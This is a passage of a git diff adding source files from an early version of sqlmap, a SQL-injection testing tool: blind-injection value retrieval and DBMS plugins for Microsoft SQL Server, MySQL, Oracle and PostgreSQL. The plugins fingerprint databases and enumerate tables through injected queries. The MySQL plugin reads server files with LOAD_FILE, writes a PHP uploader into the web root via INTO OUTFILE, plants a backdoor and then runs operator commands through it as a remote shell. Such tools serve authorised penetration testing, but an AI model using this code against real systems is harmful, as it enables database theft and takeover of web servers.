"%s..." % logValue.split("\n")[0] + else: + infoMsg += logValue + + logger.info(infoMsg) + + return resumedValue + + # If we called this function without providing a payload it means that + # we have called it from lib/request/inject __goInband() function + # in UNION SELECT (inband) SQL injection so we return to the calling + # function so that the query output will be retrieved taking advantage + # of the inband SQL injection vulnerability. + if not payload: + return None + + expressionUnescaped = unescaper.unescape(expression) + substringQuery = queries[kb.dbms].substring + select = re.search("\ASELECT ", expression, re.I) + + _, length, regExpr = queryOutputLength(expression, payload) + + if not length: + return None + + if len(resumedValue) == int(length): + infoMsg = "read from file '%s': " % conf.sessionFile + infoMsg += "%s" % resumedValue.split("\n")[0] + logger.info(infoMsg) + + if conf.sessionFile: + dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue)) + + return resumedValue + elif len(resumedValue) < int(length): + infoMsg = "resumed from file '%s': " % conf.sessionFile + infoMsg += "%s..." % resumedValue.split("\n")[0] + logger.info(infoMsg) + + if conf.sessionFile: + dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue)) + + if select: + newExpr = expressionUnescaped.replace(regExpr, substringQuery % (regExpr, len(resumedValue) + 1, int(length)), 1) + else: + newExpr = substringQuery % (expressionUnescaped, len(resumedValue) + 1, int(length)) + + missingCharsLength = int(length) - len(resumedValue) + + infoMsg = "retrieving pending %d query " % missingCharsLength + infoMsg += "output characters" + logger.info(infoMsg) + + _, finalValue = bisection(payload, newExpr, length=missingCharsLength) + + if len(finalValue) != ( int(length) - len(resumedValue) ): + warnMsg = "the total length of the query is not " + warnMsg += "right, sqlmap is going to retrieve the " + warnMsg += "query value from the beginning now" + logger.warn(warnMsg) + + return None + + return "%s%s" % (resumedValue, finalValue) + + return None diff --git a/plugins/__init__.py b/plugins/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/plugins/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/plugins/dbms/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/plugins/dbms/mssqlserver.py b/plugins/dbms/mssqlserver.py new file mode 100644 index 000000000..185090d4c --- /dev/null +++ b/plugins/dbms/mssqlserver.py @@ -0,0 +1,271 @@ +#!/usr/bin/env python + +""" +$Id: mssqlserver.py 286 2008-07-25 23:09:48Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import time + +from lib.core.agent import agent +from lib.core.common import dataToStdout +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.data import queries +from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import sqlmapSyntaxException +from lib.core.session import setDbms +from lib.core.settings import MSSQL_ALIASES +from lib.core.unescaper import unescaper +from lib.parse.banner import bannerParser +from lib.request import inject +from lib.request.connect import Connect as Request +#from lib.utils.fuzzer import passiveFuzzing + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.takeover import Takeover + + +class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover): + """ + This class defines Microsoft SQL Server methods + """ + + def __init__(self): + Enumeration.__init__(self, "Microsoft SQL Server") + + unescaper.setUnescape(MSSQLServerMap.unescape) + + + @staticmethod + def unescape(expression): + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + #unescaped = "" + unescaped = "(" + + for i in range(firstIndex, lastIndex): + unescaped += "CHAR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "+" + + unescaped += ")" + expression = expression.replace(old, unescaped) + + return expression + + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHAR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find("))") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.replace("CHAR(", "").replace(")", "") + oldUpper = oldUpper.split("+") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression + + + def getFingerprint(self): + actVer = formatFingerprint() + + if not conf.extensiveFp: + return actVer + + blank = " " * 16 + value = "active fingerprint: %s" % actVer + + if self.banner: + release, version, servicepack = bannerParser(self.banner, paths.MSSQL_XML) + + if release and version and servicepack: + banVer = "Microsoft SQL Server %s " % release + banVer += "Service Pack %s " % servicepack + banVer += "version %s" % version + + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + #passiveFuzzing() + htmlParsed = getHtmlErrorFp() + + if htmlParsed: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) + + return value + + + def checkDbms(self): + if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): + setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) + + if not conf.extensiveFp: + return True + + logMsg = "testing Microsoft SQL Server" + logger.info(logMsg) + + randInt = str(randomInt(1)) + query = "LTRIM(STR(LEN(%s)))" % randInt + + if inject.getValue(query) == "1": + query = "SELECT SUBSTRING((@@VERSION), 25, 1)" + version = inject.getValue(query) + + if version == "8": + kb.dbmsVersion = ["2008"] + elif version == "5": + kb.dbmsVersion = ["2005"] + elif version == "0": + kb.dbmsVersion = ["2000"] + + if kb.dbmsVersion: + setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) + else: + setDbms("Microsoft SQL Server") + + if not conf.extensiveFp: + return True + + if conf.getBanner: + self.banner = inject.getValue("@@VERSION") + + return True + else: + warnMsg = "the back-end DMBS is not Microsoft SQL Server" + logger.warn(warnMsg) + + return False + + + def getPrivileges(self): + warnMsg = "this plugin can not fetch database users privileges" + logger.warn(warnMsg) + + return {} + + + def getTables(self): + logMsg = "fetching tables" + if conf.db: + logMsg += " for database '%s'" % conf.db + logger.info(logMsg) + + rootQuery = queries[kb.dbms].tables + + if not conf.db: + if not len(self.cachedDbs): + dbs = self.getDbs() + else: + dbs = self.cachedDbs + else: + if "," in conf.db: + dbs = conf.db.split(",") + else: + dbs = [conf.db] + + if conf.unionUse: + for db in dbs: + if conf.excludeSysDbs and db in self.excludeDbsList: + logMsg = "skipping system database '%s'" % db + logger.info(logMsg) + + continue + + query = rootQuery["inband"]["query"] % db + value = inject.getValue(query, blind=False) + + if value: + self.cachedTables[db] = value + + if not self.cachedTables: + for db in dbs: + if conf.excludeSysDbs and db in self.excludeDbsList: + logMsg = "skipping system database '%s'" % db + logger.info(logMsg) + + continue + + logMsg = "fetching number of tables for " + logMsg += "database '%s'" % db + logger.info(logMsg) + + query = rootQuery["blind"]["count"] % db + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + warnMsg = "unable to retrieve the number of " + warnMsg += "tables for database '%s'" % db + logger.warn(warnMsg) + continue + + tables = [] + + for index in range(int(count)): + query = rootQuery["blind"]["query"] % (db, index, db) + table = inject.getValue(query, inband=False) + tables.append(table) + + if tables: + self.cachedTables[db] = tables + else: + warnMsg = "unable to retrieve the tables " + warnMsg += "for database '%s'" % db + logger.warn(warnMsg) + + if not self.cachedTables: + errMsg = "unable to retrieve the tables for any database" + raise sqlmapNoneDataException, errMsg + + return self.cachedTables diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py new file mode 100644 index 000000000..093b71426 --- /dev/null +++ b/plugins/dbms/mysql.py @@ -0,0 +1,471 @@ +#!/usr/bin/env python + +""" +$Id: mysql.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.agent import agent +from lib.core.common import fileToStr +from lib.core.common import formatFingerprint +from lib.core.common import getDirectories +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.exception import sqlmapSyntaxException +from lib.core.session import setDbms +from lib.core.settings import MYSQL_ALIASES +from lib.core.shell import autoCompletion +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.request.connect import Connect as Request +#from lib.utils.fuzzer import passiveFuzzing + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.takeover import Takeover + + +class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover): + """ + This class defines MySQL methods + """ + + def __init__(self): + self.has_information_schema = False + Enumeration.__init__(self, "MySQL") + + unescaper.setUnescape(MySQLMap.unescape) + + + @staticmethod + def unescape(expression): + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "%d" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "," + + expression = expression.replace(old, "CHAR(%s)" % unescaped) + + return expression + + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHAR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find(")") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.lstrip("CHAR(").rstrip(")") + oldUpper = oldUpper.split(",") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression + + + def __commentCheck(self): + logMsg = "executing MySQL comment injection fingerprint" + logger.info(logMsg) + + query = agent.prefixQuery("/* NoValue */") + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + + if result != kb.defaultResult: + warnMsg = "unable to perform MySQL comment injection" + logger.warn(warnMsg) + + return None + + # MySQL valid versions updated at 07/2008 + versions = ( + (32200, 32233), # MySQL 3.22 + (32300, 32354), # MySQL 3.23 + (40000, 40024), # MySQL 4.0 + (40100, 40122), # MySQL 4.1 + (50000, 50067), # MySQL 5.0 + (50100, 50126), # MySQL 5.1 + (60000, 60006), # MySQL 6.0 + ) + + for element in versions: + prevVer = None + + for version in range(element[0], element[1] + 1): + randInt = randomInt() + version = str(version) + query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + result = Request.queryPage(payload) + + if result == kb.defaultResult: + if version[0] == "3": + midVer = prevVer[1:3] + else: + midVer = prevVer[2] + + trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) + + return trueVer + + prevVer = version + + return None + + + def getFingerprint(self): + actVer = formatFingerprint() + + if not conf.extensiveFp: + return actVer + + blank = " " * 16 + value = "active fingerprint: %s" % actVer + comVer = self.__commentCheck() + + if comVer: + comVer = formatFingerprint([comVer]) + value += "\n%scomment injection fingerprint: %s" % (blank, comVer) + + if self.banner: + banVer = re.search("^([\d\.]+)", self.banner) + banVer = banVer.groups()[0] + if re.search("-log$", self.banner): + banVer += ", logging enabled" + banVer = formatFingerprint([banVer]) + + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + #passiveFuzzing() + htmlParsed = getHtmlErrorFp() + + if htmlParsed: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) + + return value + + + def checkDbms(self): + if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): + setDbms("MySQL %s" % kb.dbmsVersion[0]) + + if int(kb.dbmsVersion[0]) >= 5: + self.has_information_schema = True + + if not conf.extensiveFp: + return True + + logMsg = "testing MySQL" + logger.info(logMsg) + + randInt = str(randomInt(1)) + query = "CONCAT('%s', '%s')" % (randInt, randInt) + + if inject.getValue(query) == (randInt * 2): + logMsg = "confirming MySQL" + logger.info(logMsg) + + query = "LENGTH('%s')" % randInt + + if not inject.getValue(query) == "1": + warnMsg = "the back-end DMBS is not MySQL" + logger.warn(warnMsg) + + return False + + query = "SELECT %s " % randInt + query += "FROM information_schema.TABLES " + query += "LIMIT 0, 1" + + if inject.getValue(query) == randInt: + setDbms("MySQL 5") + self.has_information_schema = True + + if not conf.extensiveFp: + kb.dbmsVersion = [">= 5.0.0"] + return True + + self.currentDb = inject.getValue("DATABASE()") + if self.currentDb == inject.getValue("SCHEMA()"): + kb.dbmsVersion = [">= 5.0.2", "< 5.1"] + + query = "SELECT %s " % randInt + query += "FROM information_schema.PARTITIONS " + query += "LIMIT 0, 1" + + if inject.getValue(query) == randInt: + kb.dbmsVersion = [">= 5.1"] + else: + kb.dbmsVersion = ["= 5.0.0 or 5.0.1"] + else: + setDbms("MySQL 4") + kb.dbmsVersion = ["< 5.0.0"] + + if not conf.extensiveFp: + return True + + coercibility = inject.getValue("COERCIBILITY(USER())") + if coercibility == "3": + kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"] + elif coercibility == "2": + kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"] + elif inject.getValue("CURRENT_USER()"): + kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"] + + if inject.getValue("CHARSET(CURRENT_USER())") == "utf8": + kb.dbmsVersion = ["= 4.1.0"] + else: + kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"] + elif inject.getValue("FOUND_ROWS()") == "0": + kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"] + elif inject.getValue("CONNECTION_ID()"): + kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"] + elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")): + kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"] + else: + kb.dbmsVersion = ["< 3.22.11"] + + if conf.getBanner: + self.banner = inject.getValue("VERSION()") + + return True + else: + warnMsg = "the back-end DMBS is not MySQL" + logger.warn(warnMsg) + + return False + + + def readFile(self, rFile): + logMsg = "fetching file: '%s'" % rFile + logger.info(logMsg) + + return inject.getValue("LOAD_FILE('%s')" % rFile) + + + def osShell(self): + """ + This method is used to write a PHP agent (cmd.php) on a writable + remote directory within the web server document root. + Such agent is written using the INTO OUTFILE MySQL DBMS + functionality + + @todo: * Add a web application crawling functionality to detect + all (at least most) web server directories and merge with + Google results if the target host is a publicly available + hostname or IP address; + * Extend to all DBMS using their functionalities (UDF, stored + procedures, etc) to write files on the system or directly + execute commands on the system without passing by the agent; + * Automatically detect the web server available interpreters + parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP + response headers; + * Extend the agent to other interpreters rather than only PHP: + ASP, JSP, CGI (Python, Perl, Ruby, Bash). + """ + + logMsg = "retrieving web application directories" + logger.info(logMsg) + + directories = getDirectories() + + if directories: + logMsg = "retrieved web server directories " + logMsg += "'%s'" % ", ".join(d for d in directories) + logger.info(logMsg) + + message = "in addition you can provide a list of directories " + message += "absolute path comma separated that you want sqlmap " + message += "to try to upload the agent [/var/www/test]: " + inputDirs = readInput(message, default="/var/www/test") + else: + message = "please provide the web server document root [/var/www]: " + inputDocRoot = readInput(message, default="/var/www") + + if inputDocRoot: + kb.docRoot = inputDocRoot + else: + kb.docRoot = "/var/www" + + message = "please provide a list of directories absolute path " + message += "comma separated that you want sqlmap to try to " + message += "upload the agent [/var/www/test]: " + inputDirs = readInput(message, default="/var/www/test") + + if inputDirs: + inputDirs = inputDirs.replace(", ", ",") + inputDirs = inputDirs.split(",") + + for inputDir in inputDirs: + directories.add(inputDir) + else: + directories.add("/var/www/test") + + logMsg = "trying to upload the uploader agent" + logger.info(logMsg) + + directories = list(directories) + directories.sort() + uploaded = False + + backdoorName = "backdoor.php" + backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) + uploaderName = "uploader.php" + uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) + + for directory in directories: + if uploaded: + break + + # Upload the uploader agent + uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory) + query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) + query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery + + query = agent.prefixQuery(query) + query = agent.postfixQuery(query) + + payload = agent.payload(newValue=query) + page = Request.queryPage(payload) + + if kb.docRoot: + requestDir = directory.replace(kb.docRoot, "") + else: + requestDir = directory + + baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) + uploaderUrl = "%s/%s" % (baseUrl, uploaderName) + page = Request.getPage(url=uploaderUrl, direct=True) + + if "sqlmap backdoor uploader" not in page: + warnMsg = "unable to upload the uploader " + warnMsg += "agent on '%s'" % directory + logger.warn(warnMsg) + + continue + + logMsg = "the uploader agent has been successfully uploaded " + logMsg += "on '%s'" % directory + logger.info(logMsg) + + # Upload the backdoor through the uploader agent + multipartParams = { + "upload": "1", + "file": open(backdoorPath, "r"), + "uploadDir": directory, + } + uploaderUrl = "%s/%s" % (baseUrl, uploaderName) + page = Request.getPage(url=uploaderUrl, multipart=multipartParams) + + if "Backdoor uploaded" not in page: + warnMsg = "unable to upload the backdoor through " + warnMsg += "the uploader agent on '%s'" % directory + logger.warn(warnMsg) + + continue + + uploaded = True + + backdoorUrl = "%s/%s" % (baseUrl, backdoorName) + logMsg = "the backdoor has been successfully uploaded on " + logMsg += "'%s', go with your browser to " % directory + logMsg += "'%s' and enjoy it!" % backdoorUrl + logger.info(logMsg) + + message = "do you want to use the uploaded backdoor as a " + message += "shell to execute commands right now? [Y/n] " + shell = readInput(message, default="Y") + + if shell in ("n", "N"): + continue + + logMsg = "calling OS shell. To quit type " + logMsg += "'x' or 'q' and press ENTER" + logger.info(logMsg) + + autoCompletion(osShell=True) + + while True: + command = None + + try: + command = raw_input("$ ") + except KeyboardInterrupt: + print + errMsg = "user aborted" + logger.error(errMsg) + except EOFError: + print + errMsg = "exit" + logger.error(errMsg) + break + + if not command: + continue + + if command.lower() in ( "x", "q", "exit", "quit" ): + break + + cmdUrl = "%s?cmd=%s" % (backdoorUrl, command) + page = Request.getPage(url=cmdUrl, direct=True) + output = re.search("<pre>(.+?)</pre>", page, re.I | re.S) + + if output: + print output.group(1) + else: + print "No output" diff --git a/plugins/dbms/oracle.py b/plugins/dbms/oracle.py new file mode 100644 index 000000000..a1252aea3 --- /dev/null +++ b/plugins/dbms/oracle.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python + +""" +$Id: oracle.py 286 2008-07-25 23:09:48Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapSyntaxException +from lib.core.session import setDbms +from lib.core.settings import ORACLE_ALIASES +from lib.core.settings import ORACLE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from lib.request import inject +#from lib.utils.fuzzer import passiveFuzzing + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.takeover import Takeover + + +class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover): + """ + This class defines Oracle methods + """ + + + def __init__(self): + Enumeration.__init__(self, "Oracle") + + unescaper.setUnescape(OracleMap.unescape) + + + @staticmethod + def unescape(expression): + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + #unescaped = "" + unescaped = "(" + + for i in range(firstIndex, lastIndex): + unescaped += "CHR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "||" + + unescaped += ")" + expression = expression.replace(old, unescaped) + + return expression + + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find("))") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.replace("CHR(", "").replace(")", "") + oldUpper = oldUpper.split("||") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression + + + def getFingerprint(self): + if not conf.extensiveFp: + return "Oracle" + + actVer = formatFingerprint() + + blank = " " * 16 + value = "active fingerprint: %s" % actVer + + if self.banner: + banVer = re.search("^Oracle .*Release ([\d\.]+) ", self.banner) + + if banVer: + banVer = banVer.groups()[0] + banVer = formatFingerprint([banVer]) + + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + #passiveFuzzing() + htmlParsed = getHtmlErrorFp() + + if htmlParsed: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) + + return value + + + def checkDbms(self): + if conf.dbms in ORACLE_ALIASES: + setDbms("Oracle") + + if not conf.extensiveFp: + return True + + logMsg = "testing Oracle" + logger.info(logMsg) + + query = "LENGTH(SYSDATE)" + sysdate = inject.getValue(query) + + if sysdate and int(sysdate) > 0: + logMsg = "confirming Oracle" + logger.info(logMsg) + + query = "SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1" + version = inject.getValue(query) + + if not version: + warnMsg = "the back-end DMBS is not Oracle" + logger.warn(warnMsg) + + return False + + setDbms("Oracle") + + if not conf.extensiveFp: + return True + + if re.search("^11\.", version): + kb.dbmsVersion = ["11i"] + elif re.search("^10\.", version): + kb.dbmsVersion = ["10g"] + elif re.search("^9\.", version): + kb.dbmsVersion = ["9i"] + elif re.search("^8\.", version): + kb.dbmsVersion = ["8i"] + + if conf.getBanner: + self.banner = inject.getValue("SELECT banner FROM v$version WHERE ROWNUM=1") + + return True + else: + warnMsg = "the back-end DMBS is not Oracle" + logger.warn(warnMsg) + + return False + + + def getDbs(self): + warnMsg = "this plugin can not enumerate databases" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py new file mode 100644 index 000000000..631ec3c61 --- /dev/null +++ b/plugins/dbms/postgresql.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python + +""" +$Id: postgresql.py 286 2008-07-25 23:09:48Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapSyntaxException +from lib.core.session import setDbms +from lib.core.settings import PGSQL_ALIASES +from lib.core.unescaper import unescaper +from lib.request import inject +#from lib.utils.fuzzer import passiveFuzzing + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.takeover import Takeover + + +class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover): + """ + This class defines PostgreSQL methods + """ + + def __init__(self): + Enumeration.__init__(self, "PostgreSQL") + + unescaper.setUnescape(PostgreSQLMap.unescape) + + + @staticmethod + def unescape(expression): + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + unescaped = "(" + + for i in range(firstIndex, lastIndex): + unescaped += "CHR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "||" + + unescaped += ")" + expression = expression.replace(old, unescaped) + + return expression + + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find("))") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.replace("CHR(", "").replace(")", "") + oldUpper = oldUpper.split("||") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression + + + def getFingerprint(self): + if not conf.extensiveFp: + return "PostgreSQL" + + actVer = formatFingerprint() + + blank = " " * 16 + value = "active fingerprint: %s" % actVer + + if self.banner: + banVer = re.search("^PostgreSQL ([\d\.]+)", self.banner) + banVer = banVer.groups()[0] + banVer = formatFingerprint([banVer]) + + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + #passiveFuzzing() + htmlParsed = getHtmlErrorFp() + + if htmlParsed: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) + + return value + + + def checkDbms(self): + if conf.dbms in PGSQL_ALIASES: + setDbms("PostgreSQL") + + if not conf.extensiveFp: + return True + + logMsg = "testing PostgreSQL" + logger.info(logMsg) + + randInt = str(randomInt(1)) + query = "COALESCE(%s, NULL)" % randInt + + if inject.getValue(query) == randInt: + logMsg = "confirming PostgreSQL" + logger.info(logMsg) + + query = "LENGTH('%s')" % randInt + + if not inject.getValue(query) == "1": + warnMsg = "the back-end DMBS is not PostgreSQL" + logger.warn(warnMsg) + + return False + + 